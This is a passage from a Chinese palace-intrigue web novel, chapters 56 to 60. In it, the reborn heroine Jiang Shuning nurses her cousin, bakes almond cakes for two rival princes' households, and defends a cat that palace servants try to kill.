“这整个京城,能做到一剑封喉的,除了皇室和世家豢养的杀手,便只有一个人——那南月细作,姜二小姐的生母。”七皇子沉吟道。 萧凌川微微颔首:“我也怀疑是她,只是,她究竟有何动机?” 七皇子耸了耸肩,不以为意道:“或许是想让姜姑娘背黑锅吧?她们母女二人,最擅长的不就是这些损人不利己的事情吗?” 萧凌川眸色深沉,心中却另有思量。 事情真的如此简单吗?为何他总有一丝不祥的预感挥之不去? 相府西院。 姜天泽的高烧终于退了,意识也逐渐清明。 映入眼帘的,是母亲那张带着欣慰笑容的脸庞。 “天泽,你终于醒了!”姜三夫人眼角眉梢都带着笑意,语气轻柔,“以后你大姐姐会天天来看你。” 她顿了顿,又放低了声音,“姜天赐死了,如今你便是相府唯一的继承人了。” 第56章 不为人知的悸动 第五十六章 不为人知的悸动 听到这话,姜天泽双眸骤然一亮:“此话当真?” “千真万确!”姜三夫人语气肯定,“娘这就去叫你大姐姐过来,告诉她你醒了!” 姜天泽苍白的脸上浮起一抹淡淡的红晕:“有劳母亲了。” 很快,姜姝宁便来到了姜天泽的床边。 见他苏醒,她心中一块大石落地,眉眼间也染上了几分喜色:“天泽,你总算醒了!可还有哪里不舒服?” 姜天泽的目光不经意地落在凌芜手中提着的食盒上,又迅速收回,适时地轻咳一声:“多谢大姐姐关心,我已经好多了,只是醒来后有些饿了,想吃些东西。” “我正好给你熬了些温补的汤水。三婶……”姜姝宁目光转向姜三夫人。 姜三夫人连忙接过话茬:“姝宁,你先照顾天泽,我把天泽醒来的好消息告诉你三叔。” 说罢,便脚步匆匆地走了出去。 凌芜先前刚从凌风那里收到消息,得知姜三夫人便是那隐姓埋名的南月毒师。 她正想探探这南月毒师的虚实,便寻了个由头对姜姝宁说道:“大小姐,奴婢忽然想起院中还有些事情要处理,需得回去一趟。这食盒,就劳烦您拿着了。” 姜姝宁接过凌芜递来的食盒,从里面端出一碗温热汤水,柔声道:“既如此,那便由我来喂天泽喝汤吧。” “有劳大姐姐了。” 姜天泽挣扎着微微撑起身子,唇角勾起一抹压抑不住的笑意。 他垂下眼眸,一口一口地吞咽着姜姝宁喂过来的汤水,不敢直视她的眼睛,唯恐泄露心底那汹涌澎湃的情愫。 他贪恋她的温柔,胸口涌动着不为人知的悸动。 一碗汤下肚,暖意顺着喉咙流淌至四肢百骸,驱散了周身的冷意。 他由衷地赞叹道:“大姐姐手艺真不错,我从未喝过这么好喝的汤。” “你若喜欢,我以后常给你熬。” 姜姝宁目光落在他身上,他本就长得清瘦,如今大病初愈,更是单薄得令人心疼。 如今姜家就只剩这么一棵独苗,得想法子把他养壮点才行。 “那就有劳大姐姐了。”姜天泽垂下眼眸,用浓密的睫羽掩盖眼底得逞的愉悦。 —— 姜三夫人走在游廊上,身后忽然传来凌芜的声音:“三夫人,请留步。” 她想起姨娘的提醒,凌芜是个连她都忌惮的练家子,心中便起了试探之意。 她缓缓转身,面上堆起和煦的笑容:“凌芜姑娘有何事?” “三夫人,大小姐后厨的茴香粉用尽了,不知能否去三夫人后厨借一些?”凌芜恭敬地问道。 “自然可以,姑娘随我来便是。”姜三夫人语气温和,引着凌芜来到了西院后厨。 行至门口,她停下脚步,侧身说道:“姑娘在门口稍候片刻,我进去帮你取来。” 凌芜却嫣然一笑:“三夫人是主子,凌芜不过一介婢女,怎好劳烦夫人亲自动手?还是凌芜自行进去取吧。” 姜三夫人略一思忖,便也应允:“也好。” 她抬手指向厨房内一个雕花木柜,指点道:“茴香粉便在第三层的白色陶罐中。” “多谢夫人。”凌芜颔首应下,款步走进了后厨。 她走近木柜,衣袖却“不经意”地拂过一旁另一个青花瓷罐,一枚细小的银针悄无声息地落入其中。 她取下装着茴香粉的白陶罐,转身之际,姜三夫人不知何时已踩着杌凳登高取物。 似是脚下不稳,只见她惊呼一声,手中一摞青花瓷碗从高处倾泻而下。 “小心!”凌芜眼疾手快,几乎是下意识地飞身上前,身形灵动如燕,手脚并用,单脚落地,竟将十数只瓷碗稳稳接住,一只未碎。 姜三夫人见状,眼中闪过一丝讶异,随即又堆满了笑容,赞叹道:“凌芜姑娘好身手!” 凌芜将瓷碗一一放回桌上,谦逊地笑道:“三夫人谬赞了。凌芜自幼跟随养父习武,不过是些上不得台面的粗浅功夫罢了,献丑了。” 姜三夫人目光灼灼地盯着凌芜,心中百转千回。 她状似无意地提议道:“我家天泽自小对武学颇感兴趣,凌芜姑娘若是有空,不妨多来西院与他切磋一二,如何?” 她不通武艺,只能借姜天泽之手来探一探凌芜的虚实。 凌芜也正想摸清这南月毒师的底细,闻言欣然应允:“凌芜遵命。” 西院屋内,姜姝宁还在跟姜天泽说话。 “二哥骤然离世,如今姜家只剩你一根独苗了。这几日父亲会过来与三叔三婶商议你的过继事宜,往后相府的重担可就要落在你肩上了。”她轻轻拍了拍姜天泽的手背,柔声道,“你千万要保重身体,莫要再被些许小病小灾拖垮了身子。” 姜天泽反手握住姜姝宁的手,语气坚定:“有大姐姐的悉心照料,天泽定会日渐强壮的。” 姜姝宁的目光落在姜天泽骨节分明的手上。 这双手,竟比自己这个年长他一岁的姐姐还要大上许多。 到底是男子,看着身形单薄,实则骨骼还是比女子大得多。 恰在此时,凌芜走进来禀告道:“大小姐,时候不早了,我们可要回去了?” 姜姝宁这才将手从姜天泽掌心抽出,起身说道:“这就回去了。” 姜天泽见她要走,心中满是不舍,挽留道:“大姐姐这就走了吗?不多坐一会儿?” “今日府中还有要事处理,改日再来看你。”姜姝宁解释道。 她来西院之前收到了萧凌川邀她进宫的消息,需得去一趟景和宫。 若是再耽搁下去,恐怕就赶不及在日落前返回相府了。 姜天泽见她去意已决,摩挲着掌心她残留下来的暖意,开口道:“天泽甚是想念大姐姐亲手做的糕点,不知明日可否有口福?” 姜姝宁闻言,笑靥如花,眼中满是宠溺:“好,明日我便做些糕点给你送来。” “多谢大姐姐!”姜天泽这才展露笑颜。 他生得一副魅惑众生的容貌,如今这一笑,更是令人心神摇曳。 一旁的凌芜不动声色地打量着姜天泽,心中却暗自揣测:他是否已经知晓自己母亲的真实身份? 若是知晓,那他这般殷勤地挽留大小姐,难道别有所图? 思及此,凌芜心中警铃大作,她得提醒大小姐多加小心才是。 走在回翠竹院的路上,凌芜状似无意地开口道:“大小姐,奴婢斗胆问一句,您不觉得三少爷这般年纪,还与您撒娇讨要糕点,有些不合常理吗?” “怎么会?天泽不过十五岁,还是个孩子呢。”姜姝宁不以为意地笑道。 “十五岁已是适婚的年纪,怎能说是孩子呢?” 姜姝宁如今的灵魂已是二十九岁的成熟 妇人,自然不觉得姜天泽年岁已大。 在她眼中,姜天泽的撒娇之举反倒显得天真烂漫,惹人怜爱。 她并未领会凌芜话中深意,反而顺着这个话题说了下去:“你倒是提醒了我,待天泽过继到父亲母亲名下,便是名正言顺的相府嫡子了。的确该为他寻一门好亲事了。等他正式成为相府的继承人,我定要与父亲好好商议,为他挑选一位合适的姜家主母。” 凌芜闻言,心中不禁苦笑:大小姐啊大小姐,奴婢明明是好意提醒您要与三房保持距离,您怎么反倒操心起三少爷的婚事来了? 可怜四皇子还在日日为您担忧,生怕您被那南月毒师算计,您是懂得如何让四皇子寝食难安的! 第57章 这大概就是报应吧? 第五十七章 这大概就是报应吧? 姜姝宁进宫前,吩咐凌芜将锅中剩余的汤盛入碗中,装进食盒。 凌芜想起四皇子好不容易才能与大小姐见上一面,却只能喝与姜天泽一样的汤,心中不免有些替他不甘。 她试探着提议道:“大小姐,昨日您做的绿豆糕还剩一些,不如也带一些进宫给四皇子殿下尝尝?” “不必了,他素来不喜甜食糕点。”姜姝宁想也没想便拒绝了。 “可若是您亲手做的,即便殿下不爱吃,也定会欣然品尝的。” 姜姝宁蹙眉:“凌芜,你为何这样说?” 凌芜这才意识到自己失言,连忙解释道:“奴婢并无他意,只是觉得大小姐厨艺精湛,即便是不爱吃糕点之人,尝过您亲手做的糕点,也会喜欢的。” 姜姝宁这才展颜笑道:“凌芜,你过誉了。这些绿豆糕是特意做给我们翠竹院里的人尝鲜的,四皇子只爱吃杏仁干酪饼,其他甜食一概不喜欢。” 凌芜笑着说:“大小姐还是挺了解四皇子喜好的。” 这是否意味着,大小姐其实对四皇子殿下也是在意的? 姜姝宁淡淡一笑,没有接话。 她又怎会不了解萧凌川的喜好呢? 前世两人相伴十年,萧凌川不喜旁人近身伺候,他的饮食起居皆由她一手安排。 毫不夸张地说,这世上恐怕无人比她更懂得如何取悦萧凌川了。 只是今生,她不愿再将时间和精力浪费在这个不值得的男人身上,适度的礼尚往来便已足够。 很快,姜姝宁便抵达了皇宫。 她轻抚着腰间的金符令,目光投向慈宁宫的方向,幽幽叹了口气。 她已经许久未曾进宫拜见太后了。 先前是因姜天恩的丧事,好不容易熬过了四十九天的丧期,如今又逢姜天泽遇害。 在大邺的习俗里,家中若遭逢丧事,不便随意拜访身份尊贵之人,以免将晦气带给贵人。 也只有萧凌川对此毫不在意,频频邀她入宫。 想来,他心中对权势的渴望早已超越了这些繁文缛节和迷信禁忌。 来到景和宫,姜姝宁见到了萧凌川。 他今日身着一袭玄色锦服,不同于往日宝蓝色锦袍的张扬夺目,这玄色更衬得他肤色如玉,墨发如瀑。 他长相俊美,即便身着寻常衣物,也难以掩盖他卓尔不群的风姿。 姜姝宁凝视着萧凌川,一时竟有些恍惚。 难道长得好看的人都长得如此相似吗? 为何她觉得萧凌川与自己的堂弟姜天泽竟有几分相似? 两人都是俊美无俦的翩翩公子,只是姜天泽的俊美中透着几分阴柔之气,雌雄莫辨,而萧凌川的俊美则更显锋利,眉宇间带着一股睥睨天下的冷冽之气。 察觉到姜姝宁专注的目光,萧凌川唇角勾起一抹不易察觉的笑意。 即便她嘴上说着不愿嫁给自己,可心里终究还是贪恋他这张脸吧? “姜姑娘今日又给我带了什么好吃的?” 姜姝宁这才收回目光,将食盒递给他:“臣女做了些滋补的汤水,请殿下笑纳。” “正好我有点饿了。”萧凌川接过食盒,打开后便毫不迟疑地喝了起来。 姜姝宁心中闪过一个古怪的念头:萧凌川竟连试毒的步骤都省了,便如此放心地饮用她带来的汤水。 若是她哪天想要毒杀他,岂不是易如反掌? 不过这个念头很快便被她否决了。 前世那么多人想弄死他都没成功,他哪有那么容易被毒死? 若是毒不死他,会连累整个姜家,得不偿失。 萧凌川抬眸,状似无意地与姜姝宁目光相接,唇角勾起一抹玩味的笑意:“姜姑娘为何一直盯着本王?莫非本王脸上有什么东西?” 姜姝宁差点没忍住翻白眼。 谁盯着他看了,真是不要脸。 “臣女是在等殿下开口。不知殿下将臣女请来,有何事?” 萧凌川这才收起脸上暧昧的笑意,正色道:“你堂兄之死疑点重重,如今就连大理寺卿也毫无头绪。今日请你来,是想听听你的看法。你觉得,他死后,谁获益最大?” 姜姝宁蹙眉,这还是她第一次考虑这个问题。 “如果非要说谁会从他的死中获利,那便是我那堂弟姜天泽了。姜天赐一死,相府继承人的位置自然就落到了天泽身上。”她顿了顿,又补充道,“但天泽绝不可能是凶手。姜天赐出事那日,天泽也受了伤,卧病在床。况且,他不过是个十五岁的少年郎,怎会做出如此狠辣之事?” “或许并非他亲自动手,也可能是与他利益相关之人替他雇凶杀人。”萧凌川沉声道。 “殿下指的是……我三叔和三婶?这绝不可能!”姜姝宁断然否决,“三叔与二叔乃一母同胞,他怎会对自己的亲侄儿痛下杀手?至于三婶……” “你三婶如何?”萧凌川追问道。 “三婶一向性情柔弱温婉,怎会做出这种事?” “于你三叔而言,你堂兄与他血脉相连,可于你三婶而言,你堂兄却并无血缘关系。若你堂兄身死,她的亲生儿子便可顺理成章地成为相府继承人,寻常人很难不动此念想。”萧凌川语气淡淡,却字字珠玑,“况且,性情可以伪装,很难就此排除她的嫌疑。” 他可不相信一个南月毒师会有多温婉的性情。 这柔弱温婉的模样,恐怕只是为了迷惑他人的障眼法罢了。 姜姝宁对萧凌川的分析并不认同:“我与三婶虽接触不多,但她绝非心狠手辣之人!堂兄之死与她无关!” 萧凌川本想将一切和盘托出,但又生生忍住了。 如今尚未将那南月毒师完全掌控,若是让姜姝宁知晓她三婶的真实身份,反而会将她置于险境。 他深吸一口气,语气尽量温和:“她毕竟具有杀人动机,不能排除作案的嫌疑。此事你不应感情用事,对你那三婶,还是要保持必要的警惕。” “难道在殿下眼中,所有人都会为了利益而不择手段吗?”姜姝宁面带讥讽,“殿下之所以会这样认为,是因为殿下自己就是这样的人!以己度人罢了!” 萧凌川闻言,脸色骤然阴沉。 半晌,他才幽幽开口:“你这么说,是因为你不了解人性。人性本恶,为了自身利益,对不利于自己的人和事,往往会赶尽杀绝,这才是人性。” “臣女前世与殿下相伴十年,怎会不了解人性?”姜姝宁眼中的嘲讽之色几乎要满溢而出。 前世萧凌川的冷酷无情,她早已见识得一清二楚。 毫不夸张地说,只要他发现有人挡了他的道,便会毫不犹豫地痛下杀手,半分余地也不留。 待在他这种人身边,才更应该时刻保持警惕! “原来在你心中,我竟是个如此不堪之人。”萧凌川凝视着她,唇角勾起一抹苦涩的弧度。 姜姝宁心头一滞,恍惚间,她似乎从他那双潋滟的桃花眼中,捕捉到了一丝难以言喻的哀伤。 她有些不自在地起身行礼:“若无其他事,臣女先行告退。” “等一下!”萧凌川看着她,极力克制着心中翻涌的情绪,再次提醒道:“我知道你不愿相信我,但我还是希望你尽可能地提防你的三婶。这世上善于伪装的人太多了,有时候眼见不一定为实,小心一些总是没错的。” “臣女知道了,多谢殿下提点。”姜姝宁语气生硬,丝毫没有迟疑地转身离去。 望着她决绝的背影,萧凌川心中烦闷不已,胸口一阵阵抽痛。 她根本没有听进他的话,只是不愿再与他单独相处,敷衍他罢了。 他如此为她着想,她却…… 萧凌川漆黑的眼眸墨色翻涌。 这大概就是报应吧? 他前世故意漠视她。 今生,轮到她漠视他了。 第58章 爱屋及乌 第五十八章 爱屋及乌 福禄宫内,荣贵妃正与五皇子萧怀瑾品茗闲谈。 荣华公主则在一旁由女官指导着练习琴艺,琴声叮叮咚咚,颇有几分悦耳动听。 忽有一内侍匆匆来报:“贵妃娘娘,有人在景和宫附近瞧见姜姑娘了,正急匆匆地往宫门方向去。” 萧怀瑾闻言,下意识地攥紧了手中的茶杯。 她又一次来找四哥,却并没有顺道来找他…… 荣贵妃见状,无奈地叹了口气:“瑾儿,还不快去请?再磨蹭下去,她都要出宫门了!” 萧怀瑾垂眸:“内侍说她脚步匆匆,想来是要赶在日落前回府。儿臣贸然前去,耽误了她的行程,怕是不妥。” 荣贵妃又叹了口气:“就你这般犹豫扭捏,本宫何时才能有儿媳妇?” 她说着,起身对一旁的荣华公主道:“荣华,陪母妃去宫门口一趟,咱们正好‘偶遇’你的姜姐姐!” 荣华公主原本练琴练得有些不耐烦,一听这话,顿时来了精神,欣然应允:“好啊!荣华也好久没见到姜姐姐了!” 萧怀瑾见状,略显紧张地站起身:“母妃,你这是……” “放心吧,母妃有分寸,不会给姜姑娘添麻烦的!” 荣贵妃接过贴身宫女递来的狐裘披上,俯身牵起荣华公主的手。 荣华公主仰着小脸,对萧怀瑾俏皮一笑:“五哥放心,荣华一定帮你把姜姐姐留下,不让其他皇兄抢走她!” 萧怀瑾看着她人小鬼大的模样,不禁露出宠溺的笑容:“那就有劳荣华了!” “包在荣华身上!”小公主拍着胸脯,一副胸有成竹的模样。 姜姝宁走在出宫的路上,行至半途,忽然想起食盒落在了景和宫,心中不禁有些懊恼,只得转身折返。 可走了没几步,她又想起临走前在萧凌川脸上看到的那不可名状的哀伤。 被她说了一句,就像是受了天大的委屈似的。 什么叫“原来在你心中,我竟是个如此不堪之人”? 他本来就是个不堪至极的人! 正犹豫着要不要回去取回食盒,远处传来一个清脆的声音:“姜姐姐——” 姜姝宁猛地抬头,循声望去,只见荣贵妃携着荣华公主,笑意盈盈地向她走来。 她连忙上前几步,恭敬行礼:“臣女见过贵妃娘娘,公主殿下!” “姜姑娘不必多礼。”荣贵妃温婉一笑。 “姜姐姐!”荣华公主欢快地扑进姜姝宁怀里,抬起头时,眼眶却红红的,带着几分委屈:“荣华好久没见到姜姐姐了,姜姐姐都不来宫里找荣华玩,是不是不喜欢荣华了?” 看着小公主这副委屈巴巴的可爱模样,姜姝宁的心都要化了。 无论是前世今生,伶俐可爱的荣华公主都是她心中理想女儿的模样。 “怎么会呢?就算姜姐姐不喜欢这全天下所有人,也一定会喜欢荣华公主的!”姜姝宁柔声安慰道。 荣华公主嘟着小嘴,气鼓鼓地说道:“姜姐姐骗人!若姜姐姐真这么喜欢荣华,为何那么久都不来教荣华射箭?荣华天天盼着姜姐姐来,可姜姐姐就是不来!” “这……”姜姝宁偷偷瞥了荣贵妃一眼,见她神色依旧和善,这才继续说道,“姜姐姐家里最近出了些事情……实在不便进宫来见公主。若公主想学射箭,我可以让夏姐姐进宫来教你!” “我不要!我就要姜姐姐教我射箭!”荣华公主不依不饶,忽然想起什么似的,说道,“我听五哥说,你还欠他一盒杏仁饼呢!你什么时候给他做呀?” 经她这一提醒,姜姝宁才猛然想起,月神节那晚,她匆匆从萧怀瑾那里拿走那盒被姜瑶真下了药的杏仁干酪饼,还承诺下次再做一盒给他,却一直拖到了现在。 “臣女……下次一定给公主和五皇子殿下做杏仁饼……”姜姝宁的声音低了下去,明显底气不足。 “不要下次,我明日就想吃!”荣华公主晃着她的胳膊,央求道,“好不好嘛,姜姐姐,求你了!” 这软糯的撒娇声,让姜姝宁的心软得一塌糊涂。 面对如此可爱的荣华公主,谁能说出拒绝的话来? 等她回过神来,才发现自己已经答应了。 荣华公主高兴得几乎要跳起来:“姜姐姐不许出尔反尔,明日荣华就要吃到杏仁饼!” 一旁的荣贵妃始终面带微笑,此时才温声开口道:“那明日,本宫和荣华便在福禄宫里恭候姜姑娘了!” “……是,贵妃娘娘!”姜姝宁朝她行了个礼。 目送着荣贵妃和荣华公主离开,姜姝宁心中涌起一个古怪的念头。 这对母女似乎是专程在此“堵”她。 难道荣贵妃一点也不在意和她有关的那些不好的传闻吗? 姜姝宁想起那日萧怀瑾向她表明心意时,那真挚又羞涩的模样。 或许,荣贵妃并非不在意,只是爱屋及乌罢了。 回到相府,姜姝宁便开始忙碌起来,准备制作杏仁干酪饼。 凌芜见状,好奇地问道:“大小姐做这么多杏仁饼,是打算明日进宫吗?” 姜姝宁点点头。 凌芜又问:“是送给四皇子的吗?” “不是,是送给荣华公主的。”姜姝宁解释道,“我今日在宫里遇见了荣贵妃和荣华公主,荣华公主邀我明日进宫,给她送些糕点,顺便教她射箭。” 听到这话,凌芜心中警铃大作。 荣华公主可是五皇子的亲妹妹,大小姐给荣华公主送吃的,岂不是等于变相地与五皇子见面? 若是被四皇子知道了,还不得醋意横生? “大小姐,奴婢记得您曾说过,四皇子最喜欢吃杏仁干酪饼。若是他知道您把他最爱吃的糕点做给别人吃,会不会生气啊?”凌芜小心翼翼地提醒道。 “会的,他肯定会生气。” 之前萧凌川就曾霸道地要求她今后不准给任何人做吃食,只能做给他一人,以此来抵消他的救命之恩。 若是让他知道她给五皇子的妹妹做杏仁饼,他定然会暴跳如雷。 “那小姐您……”凌芜欲言又止,在她看来,最好还是不要做给荣华公主吃,以免惹怒四皇子。 “我打算,不让他知道!”姜姝宁微微一笑,语气中带着几分狡黠,“这样,他就不会生气了!” 凌芜:“……” 所以,她到底要将此事告知四皇子,还是干脆守口如瓶? 实在太为难她了! 翌日清晨,姜姝宁早早便起身了。 她精挑细选出两个最精致的食盒,每个食盒盒底都细细地铺上一层干净漂亮的帕子,再将杏仁饼摆放整齐。 确认无误后,这才盖上食盒盖子。 她唤来翠竹院的另一个婢女夏蝉,吩咐道:“你拿个食盒,装些杏仁饼给三少爷送去。昨日我答应过他,要给他做些糕点的。” “是,小姐。” 夏蝉领命而去,提着食盒来到西院姜天泽的房间,轻轻叩响了房门。 听到敲门声,姜天泽立刻回到床上盖上被子,语气虚弱地应道:“进来。” 夏蝉推门而入,恭敬行礼:“奴婢夏蝉,是大小姐身边的婢女。大小姐让奴婢给三少爷送些糕点。” “怎么是你来?大姐姐呢?” “回三少爷,小姐今日有事进宫。” “进宫?她昨日不是才进宫吗?” “是,小姐昨日也进宫了。” “知道了,你退下吧。”姜天泽淡淡地说道。 夏蝉将食盒放在桌上,躬身退了出去。 姜天泽打开食盒,一股馥郁的杏仁香气瞬间弥漫开来,萦绕鼻尖。 他用指尖拈起一块杏仁饼,略一停顿,竟将其狠狠捏碎,化作齑粉。 俊美的脸上,阴云密布,一抹阴郁之色悄然浮现,令人不寒而栗。 “大姐姐,宫里究竟有什么人,让你如此牵挂,非见不可呢?”姜天泽低声呢喃,语气森冷,带着一丝不易察觉的不甘和幽怨。 第59章 甜到心底 第五十九章 甜到心底 姜姝宁掀开车帘,在凌芜的搀扶下走下马车。 她刚走到巍峨的宫门口,还未及掏出金符令,两名侍卫便朝她拱手行礼道:“见过姜姑娘!” 姜姝宁的脸颊瞬间泛起红晕。 这守宫门的侍卫是时常轮换的,如今竟能一眼认出她,可见这段时日她进宫的次数之频繁。 重生以来,她出入宫廷的次数,确实比前世一生加起来还要多。 也难怪每次姜瑶真见她自宫中归来,都要冷嘲热讽一番。 若前世能活到萧凌川登基为帝,自己或许就能住进这金碧辉煌的宫殿之中…… 她被自己突然冒出来的这个念头吓了一跳。 真是疯了,前世萧凌川巴不得她给姜瑶真腾位子,若他当了皇帝,怎么可能善待她? 怕是余生都要在冷宫里度过了。 想到这,她忽然有些庆幸自己前世早早就被毒死。 否则日日看着他和姜瑶真如胶似漆,不知道得多糟心。 很快,姜姝宁便提着食盒来到了福禄宫。 这座金碧辉煌的宫殿,传闻是皇帝特意为荣贵妃而建。 当年先帝在位之时,大邺遭遇百年难遇的瘟疫,百姓死伤无数,哀鸿遍野。 是荣贵妃的父亲,携举族之力,捐赠了大量珍贵的药材,才使得大邺最终战胜瘟疫,转危为安。 彼时皇帝还是太子,先帝感念崔家恩德,曾有意将荣贵妃册封为太子妃,却被其父婉言谢绝。 王老太爷言,崔家虽富甲一方,却终究是商贾之家,出身商户的女儿,恐难堪太子妃之尊。 这份不争不抢、进退有度的态度,令先帝和当时的太子都极为赞赏。 后来,大邺国力日渐强盛,皇帝登基后,念及崔家昔日的功劳,特地在宫中修建了这座富丽堂皇的福禄宫,并将大邺的奇珍异宝尽数用于装饰此宫,以示恩宠。 荣贵妃在后宫之中,从不争风吃醋,反而时常用珍贵的珠宝首饰拉拢其他嫔妃,因此即便她得宠,也从未招致旁人的嫉妒。 姜姝宁心中对荣贵妃十分敬佩。 她看似不争不抢,实则处世圆滑,为人通透,从不奢求那些不该属于自己的东西,这份智慧和豁达,令人叹服。 若自己前世能有荣贵妃一半的通透和智慧,便不会执迷于萧凌川那般不属于自己的男人,最终落得个香消玉殒的凄凉下场。 姜姝宁被宫人引至前殿,荣贵妃和五皇子萧怀瑾早已等候多时。 见她到来,萧怀瑾立刻起身,一双清澈的眼眸里满是欣喜。 “臣女见过贵妃娘娘,五皇子殿下!”姜姝宁盈盈行礼。 “姜姑娘不必多礼。”荣贵妃瞥了一眼身旁的儿子,唇角含笑,“荣华正在后花园玩耍,便让瑾儿带你去吧。” “是,娘娘。”姜姝宁起身,正好迎上萧怀瑾那张微微泛红的脸庞。 她知道,眼前的少年很喜欢她,喜欢得紧。 她为前世的自己感到惋惜。 若前世选的人是他就好了。 也不必白白蹉跎十年光阴,最终落得那般凄凉的结局。 姜姝宁与萧怀瑾并肩漫步,穿过长长的宫廊,向着后花园走去。 “姜姑娘,你能来,我很高兴。”萧怀瑾主动开口,声音中带着一丝难以抑制的雀跃。 姜姝宁莞尔一笑。 少年的喜欢,如同盛夏的风,炙热而真挚,毫无遮掩。 “上次月神节,我答应过殿下,再做一盒糕点。”姜姝宁将手中精致的食盒递给他,“还请殿下笑纳。” “多谢姜姑娘。”萧怀瑾接过食盒,满眼期待,“我能尝一块吗?” “当然可以。”她晃了晃手中的另一个食盒,“我准备了两盒,一盒是给殿下的,另一盒是给荣华公主的。” 萧怀瑾迫不及待地打开食盒,拿起一块杏仁饼送 入口中,细细品味,脸上浮起陶醉的神情:“就是这个味道!只有姜姑娘才能做出如此美味的杏仁饼!” 见他如此喜欢,姜姝宁心中也十分欢喜,脱口而出道:“殿下若是喜欢,臣女以后……” “以后如何?”萧怀瑾眼眸一亮,追问道。 姜姝宁懊恼不已,险些咬到自己的舌头。 这次给萧怀瑾做杏仁干酪饼,已是瞒着萧凌川偷偷进行的。 若是被他发现,不知道又要发什么疯。 可看着萧怀瑾那双充满期待的眼眸,她又不忍让他失望。 “以后……以后有空,便再做给殿下。”姜姝宁略带羞涩地说道。 听到这句承诺,萧怀瑾脸上的笑意加深了几分。 他拿起一块杏仁饼,轻轻递到姜姝宁唇边:“姜姑娘,你也尝尝吧。” 姜姝宁本想伸手接过,他握着杏仁饼的手指却并未松开。 她无奈,只能低头轻咬了一口他手里的杏仁饼。 没想到,他竟将吃剩的杏仁饼当着她的面送 入了自己口中,细细品尝。 姜姝宁的脸颊瞬间绯红。 两世为人,从未被男子这般撩拨过,心中小鹿乱撞。 方才入口的那一小块杏仁饼,简直甜到了心底。 荣华公主和女官站在不远处,偷偷注视着这一幕。 “夫子,我是不是快要有个嫂嫂了?”荣华公主俏皮地问道。 女官掩唇轻笑:“依我看,八 九不离十了。” 两人相视而笑,却未曾察觉,暗处也有一双注视的眼睛。 景和宫内,凌风快步上前,禀报道:“启禀殿下,姜姑娘进宫了,此刻正在福禄宫,与五皇子殿下……一同品尝杏仁饼。” “啪!”一声,萧凌川手中的茶盏应声落地,摔得粉碎。 “她曾答应过我,不会再与五弟有任何来往!”他咬牙切齿,桃花眸中燃烧着熊熊妒火。 凌风见状,连忙解释道:“启禀殿下,其实姜姑娘是……去教荣华公主射箭的。昨日小的亲眼所见,荣华公主对姜姑娘软磨硬泡,非要她教自己射箭。姜姑娘实在没办法,这才答应下来。至于那杏仁饼……也是荣华公主特意央求她做的!” 萧凌川想起前世,姜姝宁似乎对孩子格外喜爱。 但凡出席宴会,只要有孩童在场,她的目光总是会被吸引,流露出温柔的神色。 如此喜爱孩童,也难怪会被荣华公主几句撒娇便轻易拿捏。 “萧怀瑾简直卑鄙无耻!竟然利用皇妹,使出这种死缠烂打的伎俩!” 凌风连忙附和道:“正是!五皇子殿下如此行事,实在是有失体面。殿下您就光明磊落多了……” “既然他利用皇妹缠住姜姑娘,那我就让黑豹去缠住她!”萧凌川唤来黑豹,轻轻抚摸着它的头,“去福禄宫,见到姜姑娘就寸步不离地跟着她,直到我抵达为止!” 黑豹仿佛听懂了他的吩咐,纵身一跃,灵巧地跳出窗外,朝着福禄宫的方向飞奔而去。 萧凌川转头对凌风吩咐道:“走,随我一同去福禄宫,我倒要看看,姜姝宁今日如何解释她的所作所为!” 凌风:“……” 殿下,您这番举动,也未必有多光明正大啊! 姜姝宁正在后花园教荣华公主射箭,一只黑猫倏地从屋顶一跃而下,稳稳地落入她怀中。 “黑豹?你怎么会在这里?”姜姝宁又惊又喜。 这突如其来的黑猫,着实将荣华公主和一旁的女官吓了一跳。 尤其是荣华公主,见到黑豹那双如同琉璃般幽绿的眼眸,更是吓得花容失色,连连后退,口中惊呼:“猫……猫……” 女官见状,连忙上前一步,护在荣华公主身前,焦急地对姜姝宁说道:“姜姑娘,公主殿下怕猫,还请您快将它扔掉!” 话音刚落,便见福禄宫内冲出数名宫人,一个个面色惊恐地盯着黑豹,高声喊道:“有猫!快,杀了它!” 这突如其来的一幕,令姜姝宁错愕不已。 她紧紧抱住黑豹,厉声喝道:“住手!不要伤害它!” 第60章 有毒的猫 第六十章 有毒的猫 黑豹显然察觉到了周围人对它的敌意,它弓起身子,浑身炸毛,喉咙里发出凶狠的哈气声。 姜姝宁连忙轻抚它背上的毛,试图安抚它躁动的情绪。 荣华公主早已被吓得直哭,任凭身旁的女官如何柔声细语地安抚都无济于事。 “五皇子殿下,快将荣华公主带离此处吧!”女官向萧怀瑾求助。 萧怀瑾的下意识看向姜姝宁,但荣华公主凄厉的哭喊声让他无法置之不理。 他只得上前将瑟瑟发抖的荣华公主抱起,快步离开,以免她继续看到那只让她心生畏惧的黑猫。 荣贵妃匆匆赶来,一眼瞧见姜姝宁怀中抱着的黑猫,亦是花容失色,惊呼道:“姜姑娘,快将这猫放下!小心它伤了你!” “娘娘,臣女认得这只猫,它不会伤人的!若是怕吓到公主殿下,臣女这就将它带走!”姜姝宁急忙道。 “姜姑娘,你难道不知,这宫里的猫都是有毒的吗?”荣贵妃的神色陡然变得狰狞,厉声呵斥宫人,“你们还愣着做什么?还不快将这畜生打死!” “是,娘娘!” 几名内侍不知从何处取来木棍,气势汹汹地朝着姜姝宁逼近,口中还说着:“姜姑娘,您快将那猫扔了吧!奴才们实在不想误伤了您!” 姜姝宁一步步后退,心中恐惧蔓延。 他们在说什么? 猫怎么会有毒呢? 身后便是高耸的院墙,她已是退无可退。 袖中暗藏袖弩,可一旦用了,怕是百口莫辩。 皇宫森严,她一个大臣之女,怎能随意携带器械入内? 可她也做不到眼睁睁看着黑豹被伤害。 就在她进退两难之际,殿外忽然传来内侍的通报声:“四皇子殿下求见!” 荣贵妃略感诧异:“他怎么来了?” 话音未落,一袭湛蓝色锦袍的萧凌川便大步流星地走了进来。 他周身散发着凛冽的寒意,令人望而生畏,宫人们都不敢上前阻拦。 姜姝宁能感到怀里的黑猫在看到他的那一瞬间,变得平静下来。 它知道,它的靠山来了。 原本剑拔弩张的紧张氛围,随着萧凌川的到来烟消云散。 他目光落在被围困在院墙边、怀抱黑猫的姜姝宁身上。 她身形纤弱,面色苍白,却紧抿着双唇,目光凌厉地瞪着步步逼近的内侍,如同护卫领地的小兽,倔强而无畏,让人不由自主地生出想要护她周全的冲动。 “四皇子,驾临福禄宫有何贵干?”荣贵妃的声音,将萧凌川的注意力拉了回去。 